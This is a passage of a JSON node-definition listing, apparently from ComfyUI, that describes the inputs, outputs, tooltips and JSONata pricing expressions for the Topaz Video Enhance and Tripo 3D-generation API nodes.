{"tooltip": "Output frame rate.", "default": 60, "min": 15, "max": 240, "display": "number"}], "interpolation_duplicate": ["BOOLEAN", {"tooltip": "Analyze the input for duplicate frames and remove them.", "advanced": true, "default": false}], "interpolation_duplicate_threshold": ["FLOAT", {"tooltip": "Detection sensitivity for duplicate frames.", "advanced": true, "default": 0.01, "min": 0.001, "max": 0.1, "step": 0.001, "display": "number"}], "dynamic_compression_level": ["COMBO", {"tooltip": "CQP level.", "advanced": true, "default": "Low", "multiselect": false, "options": ["Low", "Mid", "High"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "upscaler_enabled", "upscaler_model", "upscaler_resolution"], "optional": ["upscaler_creativity", "interpolation_enabled", "interpolation_model", "interpolation_slowmo", "interpolation_frame_rate", "interpolation_duplicate", "interpolation_duplicate_threshold", "dynamic_compression_level"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "TopazVideoEnhance", "display_name": "Topaz Video Enhance (Legacy)", "description": "Breathe new life into video with powerful upscaling and recovery technology.", "python_module": "comfy_api_nodes.nodes_topaz", "category": "partner/video/Topaz", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": true, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TopazVideoEnhanceV2": {"input": {"required": {"video": ["VIDEO", {}], "upscaler_model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "Astra 2", "inputs": {"required": {"upscaler_resolution": ["COMBO", {"multiselect": false, "options": ["FullHD (1080p)", "4K (2160p)"]}], "creativity": ["FLOAT", {"tooltip": "Creative strength of the upscale.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.1, "display": "slider"}], "prompt": ["STRING", {"tooltip": "Optional descriptive (not instructive) scene prompt.Capping input at 450 frames (~15s @ 30fps) when set.", "default": "", "multiline": true}], "sharp": ["FLOAT", {"tooltip": "Pre-enhance sharpness: 0.0=Gaussian blur, 0.5=passthrough (default), 1.0=USM sharpening.", "advanced": true, "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}], "realism": ["FLOAT", {"tooltip": "Pulls output toward photographic realism.Leave at 0 for the model default.", "advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01, "display": "slider"}]}}}, {"key": "Starlight (Astra) Fast", "inputs": {"required": {"upscaler_resolution": ["COMBO", {"multiselect": false, "options": ["FullHD (1080p)", "4K (2160p)"]}]}}}, {"key": "Starlight (Astra) Creative", "inputs": {"required": {"upscaler_resolution": ["COMBO", {"multiselect": false, "options": ["FullHD (1080p)", "4K (2160p)"]}], "creativity": ["COMBO", {"tooltip": "Creative strength of the upscale.", "default": "low", "multiselect": false, "options": ["low", "middle", "high"]}]}}}, {"key": "Starlight Precise 2.5", "inputs": {"required": {"upscaler_resolution": ["COMBO", {"multiselect": false, "options": ["FullHD (1080p)", "4K (2160p)"]}]}}}, {"key": "Disabled", "inputs": {"required": {}}}]}], "interpolation_model": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "Disabled", "inputs": {"required": {}}}, {"key": "apo-8", "inputs": {"required": {"interpolation_frame_rate": ["INT", {"tooltip": "Output frame rate.", "default": 60, "min": 15, "max": 240, "display": "number"}], "interpolation_slowmo": ["INT", {"tooltip": "Slow-motion factor applied to the input video. For example, 2 makes the output twice as slow and doubles the duration.", "advanced": true, "default": 1, "min": 1, "max": 16, "display": "number"}], "interpolation_duplicate": ["BOOLEAN", {"tooltip": "Analyze the input for duplicate frames and remove them.", "advanced": true, "default": false}], "interpolation_duplicate_threshold": ["FLOAT", {"tooltip": "Detection sensitivity for duplicate frames.", "advanced": true, "default": 0.01, "min": 0.001, "max": 0.1, "step": 0.001, "display": "number"}]}}}]}]}, "optional": {"dynamic_compression_level": ["COMBO", {"tooltip": "CQP level.", "default": "Low", "multiselect": false, "options": ["Low", "Mid", "High"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["video", "upscaler_model", "interpolation_model"], "optional": ["dynamic_compression_level"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "TopazVideoEnhanceV2", "display_name": "Topaz Video Enhance", "description": "Breathe new life into video with powerful upscaling and recovery technology.", "python_module": "comfy_api_nodes.nodes_topaz", "category": "partner/video/Topaz", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "upscaler_model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "upscaler_model.upscaler_resolution", "type": "COMBO"}, {"name": "interpolation_model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $model := $lookup(widgets, \"upscaler_model\");\n $res := $lookup(widgets, \"upscaler_model.upscaler_resolution\");\n $interp := $lookup(widgets, \"interpolation_model\");\n $is4k := $contains($res, \"4k\");\n $hasInterp := $interp != \"disabled\";\n $rates := {\n \"starlight (astra) fast\": {\"hd\": 0.43, \"uhd\": 0.85},\n \"starlight precise 2.5\": {\"hd\": 0.70, \"uhd\": 1.54},\n \"astra 2\": {\"hd\": 1.72, \"uhd\": 2.85},\n \"starlight (astra) creative\": {\"hd\": 2.25, \"uhd\": 3.99}\n };\n $surcharge := $is4k ? 0.28 : 0.14;\n $entry := $lookup($rates, $model);\n $base := $is4k ? $entry.uhd : $entry.hd;\n $hi := $base + ($hasInterp ? $surcharge : 0);\n $model = \"disabled\"\n ? {\"type\":\"text\",\"text\":\"Interpolation only\"}\n : ($hasInterp\n ? {\"type\":\"text\",\"text\":\"~\" & $string($base) & \"\u2013\" & $string($hi) & \" credits/src frame\"}\n : {\"type\":\"text\",\"text\":\"~\" & $string($base) & \" credits/src frame\"})\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoTextToModelNode": {"input": {"required": {"prompt": ["STRING", {"multiline": true}]}, "optional": {"negative_prompt": ["STRING", {"multiline": true}], "model_version": ["COMBO", {"default": "v2.5-20250123", "multiselect": false, "options": ["v3.1-20260211", "v3.0-20250812", "v2.5-20250123", "v2.0-20240919", "v1.4-20240625"]}], "style": ["COMBO", {"default": "None", "multiselect": false, "options": ["person:person2cartoon", "animal:venom", "object:clay", "object:steampunk", "object:christmas", "object:barbie", "gold", "ancient_bronze", "None"]}], "texture": ["BOOLEAN", {"default": true}], "pbr": ["BOOLEAN", {"default": true}], "image_seed": ["INT", {"advanced": true, "default": 42}], "model_seed": ["INT", {"advanced": true, "default": 42}], "texture_seed": ["INT", {"advanced": true, "default": 42}], "texture_quality": ["COMBO", {"advanced": true, "default": "standard", "multiselect": false, "options": ["standard", "detailed"]}], "face_limit": ["INT", {"advanced": true, "default": -1, "min": -1, "max": 2000000}], "quad": ["BOOLEAN", {"advanced": true, "default": false}], "geometry_quality": ["COMBO", {"advanced": true, "default": "standard", "multiselect": false, "options": ["standard", "detailed"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["prompt"], "optional": ["negative_prompt", "model_version", "style", "texture", "pbr", "image_seed", "model_seed", "texture_seed", "texture_quality", "face_limit", "quad", "geometry_quality"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "model task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoTextToModelNode", "display_name": "Tripo: Text to Model", "description": "", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model_version", "type": "COMBO"}, {"name": "texture", "type": "BOOLEAN"}, {"name": "pbr", "type": "BOOLEAN"}, {"name": "quad", "type": "BOOLEAN"}, {"name": "texture_quality", "type": "COMBO"}, {"name": "geometry_quality", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $isV14 := $contains(widgets.model_version,\"v1.4\");\n $isV3OrLater := $contains(widgets.model_version,\"v3.\");\n $withTexture := widgets.texture or widgets.pbr;\n $isHdTexture := (widgets.texture_quality = \"detailed\");\n $isDetailedGeometry := (widgets.geometry_quality = \"detailed\");\n $credits := $isV14 ? 20 : (\n ($withTexture ? 20 : 10)\n + (widgets.quad ? 5 : 0)\n + ($isHdTexture ? 10 : 0)\n + (($isDetailedGeometry and $isV3OrLater) ? 20 : 0)\n );\n {\"type\":\"usd\",\"usd\": $round($credits * 0.01, 2), \"format\": {\"approximate\": true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoImageToModelNode": {"input": {"required": {"image": ["IMAGE", {}]}, "optional": {"model_version": ["COMBO", {"tooltip": "The model version to use for generation", "multiselect": false, "options": ["v3.1-20260211", "v3.0-20250812", "v2.5-20250123", "v2.0-20240919", "v1.4-20240625"]}], "style": ["COMBO", {"default": "None", "multiselect": false, "options": ["person:person2cartoon", "animal:venom", "object:clay", "object:steampunk", "object:christmas", "object:barbie", "gold", "ancient_bronze", "None"]}], "texture": ["BOOLEAN", {"default": true}], "pbr": ["BOOLEAN", {"default": true}], "model_seed": ["INT", {"advanced": true, "default": 42}], "orientation": ["COMBO", {"advanced": true, "default": "default", "multiselect": false, "options": ["align_image", "default"]}], "texture_seed": ["INT", {"advanced": true, "default": 42}], "texture_quality": ["COMBO", {"advanced": true, "default": "standard", "multiselect": false, "options": ["standard", "detailed"]}], "texture_alignment": ["COMBO", {"advanced": true, "default": "original_image", "multiselect": false, "options": ["original_image", "geometry"]}], "face_limit": ["INT", {"advanced": true, "default": -1, "min": -1, "max": 500000}], "quad": ["BOOLEAN", {"advanced": true, "default": false}], "geometry_quality": ["COMBO", {"advanced": true, "default": "standard", "multiselect": false, "options": ["standard", "detailed"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["image"], "optional": ["model_version", "style", "texture", "pbr", "model_seed", "orientation", "texture_seed", "texture_quality", "texture_alignment", "face_limit", "quad", "geometry_quality"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "model task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoImageToModelNode", "display_name": "Tripo: Image to Model", "description": "", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model_version", "type": "COMBO"}, {"name": "texture", "type": "BOOLEAN"}, {"name": "pbr", "type": "BOOLEAN"}, {"name": "quad", "type": "BOOLEAN"}, {"name": "texture_quality", "type": "COMBO"}, {"name": "geometry_quality", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $isV14 := $contains(widgets.model_version,\"v1.4\");\n $isV3OrLater := $contains(widgets.model_version,\"v3.\");\n $withTexture := widgets.texture or widgets.pbr;\n $isHdTexture := (widgets.texture_quality = \"detailed\");\n $isDetailedGeometry := (widgets.geometry_quality = \"detailed\");\n $credits := $isV14 ? 30 : (\n ($withTexture ? 30 : 20)\n + (widgets.quad ? 5 : 0)\n + ($isHdTexture ? 10 : 0)\n + (($isDetailedGeometry and $isV3OrLater) ? 20 : 0)\n );\n {\"type\":\"usd\",\"usd\": $round($credits * 0.01, 2), \"format\": {\"approximate\": true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoMultiviewToModelNode": {"input": {"required": {"image": ["IMAGE", {}]}, "optional": {"image_left": ["IMAGE", {}], "image_back": ["IMAGE", {}], "image_right": ["IMAGE", {}], "model_version": ["COMBO", {"tooltip": "The model version to use for generation", "multiselect": false, "options": ["v3.1-20260211", "v3.0-20250812", "v2.5-20250123", "v2.0-20240919", "v1.4-20240625"]}], "orientation": ["COMBO", {"advanced": true, "default": "default", "multiselect": false, "options": ["align_image", "default"]}], "texture": ["BOOLEAN", {"default": true}], "pbr": ["BOOLEAN", {"default": true}], "model_seed": ["INT", {"advanced": true, "default": 42}], "texture_seed": ["INT", {"advanced": true, "default": 42}], "texture_quality": ["COMBO", {"advanced": true, "default": "standard", "multiselect": false, "options": ["standard", "detailed"]}], "texture_alignment": ["COMBO", {"advanced": true, "default": "original_image", "multiselect": false, "options": ["original_image", "geometry"]}], "face_limit": ["INT", {"advanced": true, "default": -1, "min": -1, "max": 500000}], "quad": ["BOOLEAN", {"tooltip": "This parameter is deprecated and does nothing.", "advanced": true, "default": false}], "geometry_quality": ["COMBO", {"advanced": true, "default": "standard", "multiselect": false, "options": ["standard", "detailed"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["image"], "optional": ["image_left", "image_back", "image_right", "model_version", "orientation", "texture", "pbr", "model_seed", "texture_seed", "texture_quality", "texture_alignment", "face_limit", "quad", "geometry_quality"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "model task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoMultiviewToModelNode", "display_name": "Tripo: Multiview to Model", "description": "", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model_version", "type": "COMBO"}, {"name": "texture", "type": "BOOLEAN"}, {"name": "pbr", "type": "BOOLEAN"}, {"name": "texture_quality", "type": "COMBO"}, {"name": "geometry_quality", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $isV14 := $contains(widgets.model_version,\"v1.4\");\n $isV3OrLater := $contains(widgets.model_version,\"v3.\");\n $withTexture := widgets.texture or widgets.pbr;\n $isHdTexture := (widgets.texture_quality = \"detailed\");\n $isDetailedGeometry := (widgets.geometry_quality = \"detailed\");\n $credits := $isV14 ? 30 : (\n ($withTexture ? 30 : 20)\n + ($isHdTexture ? 10 : 0)\n + (($isDetailedGeometry and $isV3OrLater) ? 20 : 0)\n );\n {\"type\":\"usd\",\"usd\": $round($credits * 0.01, 2), \"format\": {\"approximate\": true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoP1TextToModelNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Up to 1024 characters.", "multiline": true}], "output_mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "\"Geometry only\" returns an untextured mesh. \"Textured\" adds color/PBR maps.", "options": [{"key": "Geometry only", "inputs": {"required": {}}}, {"key": "Textured", "inputs": {"required": {"pbr": ["BOOLEAN", {"tooltip": "Include PBR maps. When on, base texture is forced on too.", "default": true}], "texture_quality": ["COMBO", {"default": "standard", "multiselect": false, "options": ["standard", "detailed"]}], "texture_seed": ["INT", {"advanced": true, "default": 42}]}}}]}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "Up to 255 characters.", "multiline": true}], "image_seed": ["INT", {"advanced": true, "default": 42}], "face_limit": ["INT", {"tooltip": "Target face count, 48-20000. -1 lets Tripo pick adaptively.", "advanced": true, "default": -1, "min": -1, "max": 20000}], "model_seed": ["INT", {"advanced": true, "default": 42}], "auto_size": ["BOOLEAN", {"tooltip": "Scale the output to approximate real-world meters.", "advanced": true, "default": false}], "export_uv": ["BOOLEAN", {"tooltip": "UV unwrap during generation. Turn off for faster geometry-only runs.", "advanced": true, "default": true}], "compress_geometry": ["BOOLEAN", {"tooltip": "Apply geometry-based compression. Decompress before editing.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "output_mode"], "optional": ["negative_prompt", "image_seed", "face_limit", "model_seed", "auto_size", "export_uv", "compress_geometry"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "model task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoP1TextToModelNode", "display_name": "Tripo P1: Text to Model", "description": "Tripo P1 text-to-3D. Optimized for low-poly, game-ready meshes with stable topology.", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "output_mode", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "output_mode.texture_quality", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "( $mode := widgets.output_mode; $detailed := $lookup(widgets, \"output_mode.texture_quality\") = \"detailed\"; $credits := $mode = \"geometry only\" ? 30 : ($detailed ? 50 : 40); {\"type\":\"usd\",\"usd\": $credits * 0.01, \"format\": {\"approximate\": true}})"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoP1ImageToModelNode": {"input": {"required": {"image": ["IMAGE", {}], "output_mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "\"Geometry only\" returns an untextured mesh. \"Textured\" adds color/PBR maps.", "options": [{"key": "Geometry only", "inputs": {"required": {}}}, {"key": "Textured", "inputs": {"required": {"pbr": ["BOOLEAN", {"tooltip": "Include PBR maps. When on, base texture is forced on too.", "default": true}], "texture_quality": ["COMBO", {"default": "standard", "multiselect": false, "options": ["standard", "detailed"]}], "texture_alignment": ["COMBO", {"tooltip": "Prioritize visual fidelity to the source image, or alignment to the mesh geometry.", "default": "original_image", "multiselect": false, "options": ["original_image", "geometry"]}], "orientation": ["COMBO", {"tooltip": "Rotate the output to match the source image. Only applies when textured.", "default": "default", "multiselect": false, "options": ["default", "align_image"]}], "texture_seed": ["INT", {"advanced": true, "default": 42}]}}}]}]}, "optional": {"enable_image_autofix": ["BOOLEAN", {"tooltip": "Pre-process the input image for better generation quality.", "advanced": true, "default": false}], "face_limit": ["INT", {"tooltip": "Target face count, 48-20000. -1 lets Tripo pick adaptively.", "advanced": true, "default": -1, "min": -1, "max": 20000}], "model_seed": ["INT", {"advanced": true, "default": 42}], "auto_size": ["BOOLEAN", {"tooltip": "Scale the output to approximate real-world meters.", "advanced": true, "default": false}], "export_uv": ["BOOLEAN", {"tooltip": "UV unwrap during generation. Turn off for faster geometry-only runs.", "advanced": true, "default": true}], "compress_geometry": ["BOOLEAN", {"tooltip": "Apply geometry-based compression. Decompress before editing.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "output_mode"], "optional": ["enable_image_autofix", "face_limit", "model_seed", "auto_size", "export_uv", "compress_geometry"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "model task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoP1ImageToModelNode", "display_name": "Tripo P1: Image to Model", "description": "Tripo P1 image-to-3D. Optimized for low-poly, game-ready meshes.", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "output_mode", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "output_mode.texture_quality", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "( $mode := widgets.output_mode; $detailed := $lookup(widgets, \"output_mode.texture_quality\") = \"detailed\"; $credits := $mode = \"geometry only\" ? 40 : ($detailed ? 60 : 50); {\"type\":\"usd\",\"usd\": $credits * 0.01, \"format\": {\"approximate\": true}})"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoP1MultiviewToModelNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "Front view (0\u00b0). Required."}], "output_mode": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "\"Geometry only\" returns an untextured mesh. \"Textured\" adds color/PBR maps.", "options": [{"key": "Geometry only", "inputs": {"required": {}}}, {"key": "Textured", "inputs": {"required": {"pbr": ["BOOLEAN", {"tooltip": "Include PBR maps. When on, base texture is forced on too.", "default": true}], "texture_quality": ["COMBO", {"default": "standard", "multiselect": false, "options": ["standard", "detailed"]}], "texture_alignment": ["COMBO", {"tooltip": "Prioritize visual fidelity to the source image, or alignment to the mesh geometry.", "default": "original_image", "multiselect": false, "options": ["original_image", "geometry"]}], "orientation": ["COMBO", {"tooltip": "Rotate the output to match the source image. Only applies when textured.", "default": "default", "multiselect": false, "options": ["default", "align_image"]}], "texture_seed": ["INT", {"advanced": true, "default": 42}]}}}]}]}, "optional": {"image_left": ["IMAGE", {"tooltip": "Left view (90\u00b0), i.e. the subject's left side."}], "image_back": ["IMAGE", {"tooltip": "Back view (180\u00b0)."}], "image_right": ["IMAGE", {"tooltip": "Right view (270\u00b0), i.e. the subject's right side."}], "face_limit": ["INT", {"tooltip": "Target face count, 48-20000. -1 lets Tripo pick adaptively.", "advanced": true, "default": -1, "min": -1, "max": 20000}], "model_seed": ["INT", {"advanced": true, "default": 42}], "auto_size": ["BOOLEAN", {"tooltip": "Scale the output to approximate real-world meters.", "advanced": true, "default": false}], "export_uv": ["BOOLEAN", {"tooltip": "UV unwrap during generation. Turn off for faster geometry-only runs.", "advanced": true, "default": true}], "compress_geometry": ["BOOLEAN", {"tooltip": "Apply geometry-based compression. Decompress before editing.", "advanced": true, "default": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "output_mode"], "optional": ["image_left", "image_back", "image_right", "face_limit", "model_seed", "auto_size", "export_uv", "compress_geometry"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "model task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoP1MultiviewToModelNode", "display_name": "Tripo P1: Multiview to Model", "description": "Tripo P1 multiview-to-3D from 2-4 reference images in [front, left, back, right] order. Front is required; any combination of the other three may be omitted.", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "output_mode", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "output_mode.texture_quality", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "( $mode := widgets.output_mode; $detailed := $lookup(widgets, \"output_mode.texture_quality\") = \"detailed\"; $credits := $mode = \"geometry only\" ? 40 : ($detailed ? 60 : 50); {\"type\":\"usd\",\"usd\": $credits * 0.01, \"format\": {\"approximate\": true}})"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoImportModelNode": {"input": {"required": {"model_3d": ["FILE_3D_GLB,FILE_3D_FBX,FILE_3D_OBJ,FILE_3D_STL,FILE_3D", {"tooltip": "3D model to import (GLB / FBX / OBJ / STL, up to 150 MB). OBJ and STL files carry no embedded textures."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model_3d"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["MODEL_TASK_ID"], "output_is_list": [false], "output_name": ["model task_id"], "output_tooltips": [null], "output_matchtypes": null, "name": "TripoImportModelNode", "display_name": "Tripo: Import Model", "description": "Import an external 3D model (e.g. from Rodin, Hunyuan3D or a local file) into Tripo to use it with Tripo's post-processing nodes: Texture, Rig, Convert. GLB is recommended: textures survive import only when embedded in the file. Note that texturing an imported model requires a texture prompt.", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"text\",\"text\":\"Free\"}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoTextureNode": {"input": {"required": {"model_task_id": ["MODEL_TASK_ID", {}]}, "optional": {"texture": ["BOOLEAN", {"default": true}], "pbr": ["BOOLEAN", {"default": true}], "texture_seed": ["INT", {"advanced": true, "default": 42}], "texture_quality": ["COMBO", {"advanced": true, "default": "standard", "multiselect": false, "options": ["standard", "detailed"]}], "texture_alignment": ["COMBO", {"advanced": true, "default": "original_image", "multiselect": false, "options": ["original_image", "geometry"]}], "texture_prompt": ["STRING", {"tooltip": "Optional text guidance for texturing. Required in practice for imported models (Tripo: Import Model), which carry no source image to infer colors from.", "default": "", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model_task_id"], "optional": ["texture", "pbr", "texture_seed", "texture_quality", "texture_alignment", "texture_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "model task_id", "GLB"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "TripoTextureNode", "display_name": "Tripo: Texture model", "description": "", "python_module": "comfy_api_nodes.nodes_tripo", "category": "partner/3d/Tripo", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "texture_quality", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $tq := widgets.texture_quality;\n {\"type\":\"usd\",\"usd\": ($contains($tq,\"detailed\") ? 0.2 : 0.1), \"format\": {\"approximate\": true}}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TripoRefineNode": {"input": {"required": {"model_task_id": ["MODEL_TASK_ID", {"tooltip": "Must be a v1.4 Tripo model"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"], "prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["model_task_id"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source", "prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["STRING", "MODEL_TASK_ID", "FILE_3D_GLB"], "output_is_list": [false, false, false], "output_name": ["model_file", "model 